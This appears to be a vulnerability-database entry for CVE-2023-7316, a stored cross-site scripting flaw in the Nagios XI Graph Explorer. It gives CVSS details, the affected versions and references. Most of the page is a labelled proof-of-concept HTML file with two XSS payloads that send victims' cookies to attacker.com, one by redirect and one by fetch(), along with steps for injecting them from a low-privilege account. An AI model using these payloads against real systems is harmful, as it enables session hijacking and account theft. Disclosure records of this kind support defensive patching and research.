CVE-2023-7316

Description

Nagios XI versions prior to 2024R1 are vulnerable to cross-site scripting (XSS) via the Graph Explorer component. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE

Nagios XI < 2024R1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2023-7316 Nagios XI Graph Explorer XSS PoC -->
<!-- This PoC demonstrates the XSS vulnerability in Nagios XI Graph Explorer component -->
<!-- Target: Nagios XI versions prior to 2024R1 -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2023-7316 PoC</title>
</head>
<body>
    <h1>Nagios XI Graph Explorer XSS PoC</h1>
    
    <script>
        // Payload for stored XSS via Graph Explorer
        // This script demonstrates how an attacker could exploit the vulnerability
        
        const xssPayload = '<script>alert("XSS - CVE-2023-7316");document.location="https://attacker.com/steal?cookie="+document.cookie</script>';
        
        // Alternative payload using img onerror
        const imgPayload = '<img src=x onerror="fetch(\'https://attacker.com/log?c=\'+document.cookie)">';
        
        // To exploit:
        // 1. Login to Nagios XI with low-privilege account
        // 2. Navigate to Graph Explorer component
        // 3. Inject XSS payload in graph name or related field
        // 4. When other users view the graph, the script executes
        
        console.log('CVE-2023-7316 PoC - XSS via Graph Explorer');
        console.log('Payload: ' + xssPayload);
        
        // Simulate the attack flow
        function simulateAttack() {
            // Step 1: Attacker with low privilege account logs in
            console.log('[Step 1] Attacker authenticates with low-privilege account');
            
            // Step 2: Navigate to Graph Explorer
            console.log('[Step 2] Navigate to Graph Explorer component');
            
            // Step 3: Inject malicious XSS payload
            console.log('[Step 3] Inject XSS payload: ' + xssPayload);
            
            // Step 4: Payload is stored on server
            console.log('[Step 4] Malicious script stored on server');
            
            // Step 5: Victim visits the page
            console.log('[Step 5] Victim views the page containing malicious script');
            
            // Step 6: Script executes in victim\'s browser
            console.log('[Step 6] XSS payload executes in victim\'s browser context');
            alert('XSS Executed - Cookie: ' + document.cookie);
        }
        
        // Uncomment to execute simulation
        // simulateAttack();
    </script>
    
    <h2>Attack Requirements:</h2>
    <ul>
        <li>Valid low-privilege Nagios XI account</li>
        <li>Access to Graph Explorer component</li>
        <li>Target Nagios XI version < 2024R1</li>
    </ul>
    
    <h2>CVSS 3.1 Vector:</h2>
    <p>CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-7316
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-7316
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-7316/
[4] VulDB https://vuldb.com/cve/CVE-2023-7316
[5] https://www.nagios.com/changelog/nagios-xi/
[6] https://www.nagios.com/products/security/#nagios-xi
[7] https://www.vulncheck.com/advisories/nagios-xi-xss-via-graph-explorer-2

Raw JSON Data

JSON

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